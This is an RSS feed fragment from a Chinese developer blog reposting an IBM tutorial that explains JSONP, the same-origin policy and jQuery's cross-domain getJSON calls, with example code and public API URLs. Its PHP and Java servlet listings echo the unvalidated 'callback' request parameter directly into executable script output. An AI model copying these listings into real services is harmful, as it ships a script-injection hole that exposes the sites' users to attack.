margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 5px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dashed; border-bottom-color: #cccccc; font-weight: bold; line-height: 1; font-size: 14px; ">扩展阅读：</dt><dd style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; word-wrap: break-word; word-break: break-all; "><ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; "><li style="margin-top: 12px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; zoom: 1; width: 690px; font-size: 12px; "><span style="float: left; "><span style="float: left; font-size: 10px; font-weight: bold; height: 16px; line-height: 16px; text-align: right; padding-left: 4px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeeeee; color: #999999; background-position: initial initial; background-repeat: initial initial; ">1</span></span><p line-1"="" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 26px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><a target="_blank" href="http://dotnet.csdn.net/n/20060316/88236.html" style="text-decoration: underline; color: #136ec2; ">http://dotnet.csdn.net/n/20060316/88236.html</a></p></li><li style="margin-top: 12px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; zoom: 1; width: 690px; font-size: 12px; "><span style="float: left; "><span style="float: left; font-size: 10px; font-weight: bold; height: 16px; line-height: 16px; text-align: right; padding-left: 4px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeeeee; color: #999999; background-position: initial initial; background-repeat: initial initial; ">2</span></span><p line-1"="" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 26px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><a target="_blank" href="http://www.robotbb.com/" style="text-decoration: underline; color: #136ec2; ">http://www.robotbb.com</a></p></li><li style="margin-top: 12px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; zoom: 1; width: 690px; font-size: 12px; "><span style="float: left; "><span style="float: left; font-size: 10px; font-weight: bold; height: 16px; line-height: 16px; text-align: right; padding-left: 4px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeeeee; color: #999999; background-position: initial initial; background-repeat: initial initial; ">3</span></span><p line-1"="" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 26px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">IBM Developworks上有更详细的资料：<a target="_blank" href="http://www.ibm.com/developerworks/cn/xml/x-mashups.html" style="text-decoration: underline; color: #136ec2; ">http://www.ibm.com/developerworks/cn/xml/x-mashups.html</a></p></li></ul></dd></dl></div></span></div><div><span style="line-height: 24px; "></span></div></span></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/364310.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-11-19 12:41 <a href="http://www.blogjava.net/xiaomage234/archive/2011/11/19/364310.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用 JSONP 实现跨域通信，第 1 部分: 结合 JSONP 和 jQuery 快速构建强大的 mashup【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364309.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 19 Nov 2011 04:40:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364309.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/364309.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364309.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/364309.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/364309.html</trackback:ping><description><![CDATA[<div><span style="font-family: Simsun; line-height: normal; "><table bgcolor="#FFFFFF" width="100%" cellpadding="0" cellspacing="0"><tbody><tr><td style="font-size: 14px; ">由&nbsp;<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#121;&#97;&#110;&#103;&#46;&#121;&#46;&#121;&#105;&#64;&#103;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;" style="font-size: 14px; ">yangyi</a>&nbsp;于 2009-05-31 22:28:36 提供</td></tr><tr><td style="font-size: 14px; "><br /><br /><center></center><p>2009 年 5 月 25 日</p><blockquote>随着公开提供的 Web 服务 API 不断增加，现在可以轻松地从不同 Web 源获取资源并构建 mashup &#8212;&#8212; 只要您能访问正确的 API 和工具。探究如何能够结合高深的跨域调用技术（JSONP）和灵活的 JavaScript 库（jQuery），以快速构建强大的 mashup。</blockquote><p><a name="intro" style="font-size: 14px; ">简介</a></p><p>Asynchronous JavaScript and XML (Ajax) 是驱动新一代 Web 站点（流行术语为 Web 2.0 站点）的关键技术。Ajax 允许在不干扰 Web 应用程序的显示和行为的情况下在后台进行数据检索。使用&nbsp;<code>XMLHttpRequest</code>&nbsp;函数获取数据，它是一种 API，允许客户端 JavaScript 通过 HTTP 连接到远程服务器。Ajax 也是许多 mashup 的驱动力，它可将来自多个地方的内容集成为单一 Web 应用程序。</p><p>不过，由于受到浏览器的限制，该方法不允许跨域通信。如果尝试从不同的域请求数据，会出现安全错误。如果能控制数据驻留的远程服务器并且每个请求都前往同一域，就可以避免这些安全错误。但是，如果仅停留在自己的服务器上，Web 应用程序还有什么用处呢？如果需要从多个第三方服务器收集数据时，又该怎么办？</p><p><a name="same_origin_policy" style="font-size: 14px; ">理解同源策略限制</a></p><p>同源策略阻止从一个域上加载的脚本获取或操作另一个域上的文档属性。也就是说，受到请求的 URL 的域必须与当前 Web 页面的域相同。这意味着浏览器隔离来自不同源的内容，以防止它们之间的操作。这个浏览器策略很旧，从 Netscape Navigator 2.0 版本开始就存在。</p><p>克服该限制的一个相对简单的方法是让 Web 页面向它源自的 Web 服务器请求数据，并且让 Web 服务器像代理一样将请求转发给真正的第三方服务器。尽管该技术获得了普遍使用，但它是不可伸缩的。另一种方式是使用框架要素在当前 Web 页面中创建新区域，并且使用&nbsp;<code>GET</code>&nbsp;请求获取任何第三方资源。不过，获取资源后，框架中的内容会受到同源策略的限制。</p><p>克服该限制更理想方法是在 Web 页面中插入动态脚本元素，该页面源指向其他域中的服务 URL 并且在自身脚本中获取数据。脚本加载时它开始执行。该方法是可行的，因为同源策略不阻止动态脚本插入，并且将脚本看作是从提供 Web 页面的域上加载的。但如果该脚本尝试从另一个域上加载文档，就不会成功。幸运的是，通过添加 JavaScript Object Notation (JSON) 可以改进该技术。</p><p><a name="json_jsonp" style="font-size: 14px; ">JSON 和 JSONP</a></p><p>JSON 是用于在浏览器和服务器之间交换信息的轻量级数据格式（与 XML 相比）。JOSON 依赖于 JavaScript 开发人员，因为它是 JavaScript 对象的字符串表示。例如，假设有一个含两个属性的 ticker 对象：symbol 和 price。这是在 JavaScript 中定义 ticker 对象的方式：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">var ticker = {symbol: 'IBM', price: 91.42};</pre></td></tr></tbody></table><br /><p>并且这是它的 JSON 表示方式：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">{symbol: 'IBM', price: 91.42}</pre></td></tr></tbody></table><br /><p>从&nbsp;<a href="http://www.chineselinuxuniversity.net/articles/24069.shtml#resources" style="font-size: 14px; ">参考资料</a>&nbsp;查找更多有关 JSON 和将其作为数据内部交换格式的信息。清单 1 定义了一个 JavaScript 函数，调用该函数时会显示 IBM 的股价。（我们没有详细介绍如何将该函数添加到 Web 页面）。</p><br /><a name="N100BF" style="font-size: 14px; "><strong>清单 1. 定义 showPrice 函数</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">function showPrice(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); }                 </pre></td></tr></tbody></table><br /><p>可以将 JSON 数据作为参数传递，以调用该函数：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">showPrice({symbol: 'IBM', price: 91.42}); // alerts: Symbol: IBM, Price: 91.42                 </pre></td></tr></tbody></table><br /><p>现在准备将这两个步骤包含到 Web 页面，如清单 2 所示。</p><br /><a name="N100D1" style="font-size: 14px; "><strong>清单 2. 在 Web 页面中包含 showPrice 函数和参数</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">&lt;script type="text/javascript"&gt; function showPrice(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); } &lt;/script&gt; &lt;script type="text/javascript"&gt;showPrice({symbol: 'IBM', price: 91.42});&lt;/script&gt; </pre></td></tr></tbody></table><br /><p>加载页面后，应该看如图 1 所示的警告。</p><br /><a name="ticker" style="font-size: 14px; "><strong>图 1. IBM ticker</strong></a><br /><img alt="IBM ticker" height="126" src="http://www.ibm.com/developerworks/cn/web/wa-aj-jsonp1/ticker.jpg" width="326" />&nbsp;<br /><p>至此，本文已展示了如何将静态 JSON 数据作为参数调用 JavaScript 函数。不过，通过在函数调用中动态包装 JSON 数据可以用动态数据调用函数，这是一种动态 JavaScript 插入的技术。要查看其效果，将下面一行放入名为 ticker.js 的独立 JavaScript 文件中。</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">showPrice({symbol: 'IBM', price: 91.42});</pre></td></tr></tbody></table><br /><p>现在改变 Web 页面中的脚本，使其和清单 3 一样。</p><br /><a name="N100F5" style="font-size: 14px; "><strong>清单 3. 动态 JavaScript 插入代码</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">&lt;script type="text/javascript"&gt; // This is our function to be called with JSON data function showPrice(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); } var url = &#8220;ticker.js&#8221;; // URL of the external script // this shows dynamic script insertion var script = document.createElement('script'); script.setAttribute('src', url);  // load the script document.getElementsByTagName('head')[0].appendChild(script);  &lt;/script&gt; 				</pre></td></tr></tbody></table><br /><p>在清单 3 所示的例子中，动态插入的 JavaScript 代码位于 ticker.js 文件中，它将真正的 JSON 数据作为参数调用<code>showPrice()</code>函数。</p><p>前面已经提到，同源策略不阻止将动态脚本元素插入文档中。也就是说，可以动态插入来自不同域的 JavaScript，并且这些域都携带 JSON 数据。这其实是真正的 JSONP（JSON with Padding）：打包在函数调用中的 JSON 数据。注意，为了完成该操作，Web 页面必须在插入时具有已经定义好的回调函数，也就是我们例子中的&nbsp;<code>showPrice()</code>。</p><p>不过，所谓的 JSONP 服务（或 Remote JSON Service）是一种带有附加功能的 Web 服务，该功能支持在特定于用户的函数调用中打包返回的 JSON 数据。这种方法依赖于接受回调函数名作为请求参数的远程服务。然后该服务生成对该函数的调用，将 JSON 数据作为参数传递，在到达客户端时将其插入 Web 页面并开始执行。</p><br /><table border="0" cellspacing="0" cellpadding="0" width="100%"><tbody><tr><td style="font-size: 14px; "><img width="100%" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" height="1" alt="" /><br /><img alt="" width="8" height="6" border="0" src="http://www.ibm.com/i/c.gif" /></td></tr></tbody></table><table cellspacing="0" cellpadding="0" align="right"><tbody><tr align="right"><td style="font-size: 14px; "><img width="100%" height="4" src="http://www.ibm.com/i/c.gif" alt="" /><br /><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td valign="middle" style="font-size: 14px; "><img width="16" src="http://www.ibm.com/i/v14/icons/u_bold.gif" height="16" border="0" alt="" /><br /></td><td valign="top" align="right" style="font-size: 14px; "><a href="http://www.chineselinuxuniversity.net/articles/24069.shtml#main" style="font-size: 12px; font-family: verdana, nsimSun, arial, sans-serif; line-height: 13px; "><strong>回页首</strong></a></td></tr></tbody></table></td></tr></tbody></table><br /><br /><p><a name="jquery_support" style="font-size: 14px; ">jQuery 的 JSONP 支持</a></p><p>从 1.2 版本开始，jQuery 拥有对 JSONP 回调的本地支持。如果指定了 JSONP 回调，就可以加载位于另一个域的 JSON 数据，回调的语法为：<code>url?callback=?</code>。</p><p>jQuery 自动将&nbsp;<strong>?</strong>&nbsp;替换为要调用的生成函数名。清单 4 显示了该代码。</p><br /><a name="N10124" style="font-size: 14px; "><strong>清单 4. 使用 JSONP 回调</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">jQuery.getJSON(url+"&amp;callback=?", function(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); }); </pre></td></tr></tbody></table><br /><p>为此，jQuery 将一个全局函数附加到插入脚本时需要调用的窗口对象。另外，jQuery 也能优化非跨域调用。如果向同一个域发出请求，jQuery 就将其转化为普通 Ajax 请求。</p><p><a name="sample_jsonp" style="font-size: 14px; ">使用 JSONP 支持的示例服务</a></p><p>在上一个例子中，使用了静态文件（ticker.js）将 JavaScript 动态插入到 Web 页面中。尽管返回了 JSONP 回复，但它不允许您在 URL 中定义回调函数名。这不是 JSONP 服务。因此，如何才能将其转换为真正的 JSONP 服务呢？可使用的方法很多。这里我们将分别使用 PHP 和 Java 展示两个示例。</p><p>首先，假设您的服务在所请求的 URL 中接受了一个名为&nbsp;<code>callback</code>&nbsp;的参数。（参数名不重要，但是客户和服务器必须都同意该名称）。另外假设向服务发送的请求是这样的：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">http://www.yourdomain.com/jsonp/ticker?symbol=IBM&amp;callback=showPrice</pre></td></tr></tbody></table><br /><p>在这种情况下，<code>symbol</code>&nbsp;是表示请求 ticker symbol 的请求参数，而&nbsp;<code>callback</code>&nbsp;是 Web 应用程序的回调函数的名称。使用清单 5 所示的代码可以通过 jQuery 的 JSONP 支持调用该服务。</p><br /><a name="N1014F" style="font-size: 14px; "><strong>清单 5. 调用回调服务</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&amp;callback=?",  function(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); }); </pre></td></tr></tbody></table><br /><p>注意，我们使用&nbsp;<code>?</code>&nbsp;作为回调函数名，而非真实的函数名。因为 jQuery 会用生成的函数名替换&nbsp;<code>?</code>。所以您不用定义类似于<code>showPrice()</code>&nbsp;的函数。</p><p>清单 6 显示了用 PHP 实现的 JSONP 服务的一段代码。</p><br /><a name="N10169" style="font-size: 14px; "><strong>清单 6. 用 PHP 实现的 JSONP 服务的代码片段</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">$jsonData = getDataAsJson($_GET['symbol']); echo $_GET['callback'] . '(' . $jsonData . ');'; // prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"}); </pre></td></tr></tbody></table><br /><p>清单 7 显示了具有同样功能的 Java&#8482; Servlet 方法。</p><br /><a name="N10176" style="font-size: 14px; "><strong>清单 7. 用 Java servlet 实现的 JSONP 服务</strong></a><br /><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp)    throws ServletException, IOException { 	String jsonData = getDataAsJson(req.getParameter("symbol")); 	String output = req.getParameter("callback") + "(" + jsonData + ");";  	resp.setContentType("text/javascript");            	PrintWriter out = resp.getWriter(); 	out.println(output); 	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"}); } </pre></td></tr></tbody></table><br /><p>那么，如果要构建 mashup 应该怎么办，是从第三方服务器收集内容，并在单一的 Web 页面中显示它们吗？答案很简单：您必须使用第三方 JSONP 服务。这种服务并不少。</p><p><a name="sample_jsonp_services" style="font-size: 14px; ">现成的 JSONP 服务</a></p><p>知道如何使用 JSONP 之后，可以开始使用一些现成的 JSONP Web 服务来构建应用程序和 mashup。下面为接下来的开发项目做准备。（提示：您可以复制特定的 URL 并将其粘贴到浏览器的地址栏，以检查生成的 JSONP 响应）。</p><p>Digg API：来自 Digg 的头条新闻：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">http://services.digg.com/stories/top?appkey=http%3A%2F%2Fmashup.com&amp;type=javascript &amp;callback=? </pre></td></tr></tbody></table><br /><p>Geonames API：邮编的位置信息：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">http://www.geonames.org/postalCodeLookupJSON?postalcode=10504&amp;country=US&amp;callback=?</pre></td></tr></tbody></table><br /><p>Flickr API：来自 Flickr 的最新猫图片：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&amp;tagmode=any &amp;format=json&amp;jsoncallback=?                 </pre></td></tr></tbody></table><br /><p>Yahoo Local Search API：在邮编为 10504 的地区搜索比萨：</p><table width="100%" cellpadding="0" cellspacing="0" border="0"><tbody><tr><td style="font-size: 14px; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; "><pre style="margin-top: 0px; margin-bottom: 0px; font-family: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; font-size: 11px; ">http://local.yahooapis.com/LocalSearchService/V3/localSearch?appid=YahooDemo&amp;query=pizza &amp;zip=10504&amp;results=2&amp;output=json&amp;callback=? </pre></td></tr></tbody></table><br /><br /><table border="0" cellspacing="0" cellpadding="0" width="100%"><tbody><tr><td style="font-size: 14px; "><img width="100%" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" height="1" alt="" /><br /><img alt="" width="8" height="6" border="0" src="http://www.ibm.com/i/c.gif" /></td></tr></tbody></table><table cellspacing="0" cellpadding="0" align="right"><tbody><tr align="right"><td style="font-size: 14px; "><img width="100%" height="4" src="http://www.ibm.com/i/c.gif" alt="" /><br /><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td valign="middle" style="font-size: 14px; "><img width="16" src="http://www.ibm.com/i/v14/icons/u_bold.gif" height="16" border="0" alt="" /><br /></td><td valign="top" align="right" style="font-size: 14px; "><a href="http://www.chineselinuxuniversity.net/articles/24069.shtml#main" style="font-size: 12px; font-family: verdana, nsimSun, arial, sans-serif; line-height: 13px; "><strong>回页首</strong></a></td></tr></tbody></table></td></tr></tbody></table><br /><br /><p><a name="cautionary_note" style="font-size: 14px; ">重要提示</a></p><p>JSONP 是构建 mashup 的强大技术，但不幸的是，它并不是所有跨域通信需求的万灵药。它有一些缺陷，在提交开发资源之前必须认真考虑它们。第一，也是最重要的一点，没有关于 JSONP 调用的错误处理。如果动态脚本插入有效，就执行调用；如果无效，就静默失败。失败是没有任何提示的。例如，不能从服务器捕捉到 404 错误，也不能取消或重新开始请求。不过，等待一段时间还没有响应的话，就不用理它了。（未来的 jQuery 版本可能有终止 JSONP 请求的特性）。</p><p>JSONP 的另一个主要缺陷是被不信任的服务使用时会很危险。因为 JSONP 服务返回打包在函数调用中的 JSON 响应，而函数调用是由浏览器执行的，这使宿主 Web 应用程序更容易受到各类攻击。如果打算使用 JSONP 服务，了解它能造成的威胁非常重要。（参见&nbsp;<a href="http://www.chineselinuxuniversity.net/articles/24069.shtml#resources" style="font-size: 14px; ">参考资料</a>&nbsp;了解更多信息）。</p><br /><table border="0" cellspacing="0" cellpadding="0" width="100%"><tbody><tr><td style="font-size: 14px; "><img width="100%" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" height="1" alt="" /><br /><img alt="" width="8" height="6" border="0" src="http://www.ibm.com/i/c.gif" /></td></tr></tbody></table><table cellspacing="0" cellpadding="0" align="right"><tbody><tr align="right"><td style="font-size: 14px; "><img width="100%" height="4" src="http://www.ibm.com/i/c.gif" alt="" /><br /><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td valign="middle" style="font-size: 14px; "><img width="16" src="http://www.ibm.com/i/v14/icons/u_bold.gif" height="16" border="0" alt="" /><br /></td><td valign="top" align="right" style="font-size: 14px; "><a href="http://www.chineselinuxuniversity.net/articles/24069.shtml#main" style="font-size: 12px; font-family: verdana, nsimSun, arial, sans-serif; line-height: 13px; "><strong>回页首</strong></a></td></tr></tbody></table></td></tr></tbody></table><br /><br /><p><a name="conclusion" style="font-size: 14px; ">结束语</a></p><p>在该系列的第一篇文章中，我们讲解了如何结合使用 JSONP 和 jQuery 快速构建强大的 mashup。主要主题包括：</p><ul><li style="font-size: 14px; ">浏览器同源策略的限制以及解决办法</li><li style="font-size: 14px; ">作为一种有效的跨域通信技术，JSONP 能够绕过当前浏览器的同源策略限制</li><li style="font-size: 14px; ">JSONP 使 Web 应用程序开发人员能够快速构建 mashup</li><li style="font-size: 14px; ">示例 JSONP 服务及其使用：Ticker 服务</li></ul><p>本系列的下一篇文章将介绍 Yahoo! 查询语言（YQL），这种单端点 JSONP 服务允许您跨 Web 查询、过滤和合并数据。最后还使用 YQL 和 jQuery 构建 mashup 应用程序。</p><br /><br /><p><a name="resources" style="font-size: 14px; ">参考资料</a></p><ul><li style="font-size: 14px; ">了解&nbsp;<a href="http://json.org/" style="font-size: 14px; ">JSON</a>，它是针对 Java 和其他语言的 JavaScript Object Notation API。<br /><br /></li><li style="font-size: 14px; ">阅读 &#8220;<a href="https://www.ibm.com/developerworks/cn/web/wa-ajaxintro10/" style="font-size: 14px; ">掌握 Ajax，第 10 部分: 使用 JSON 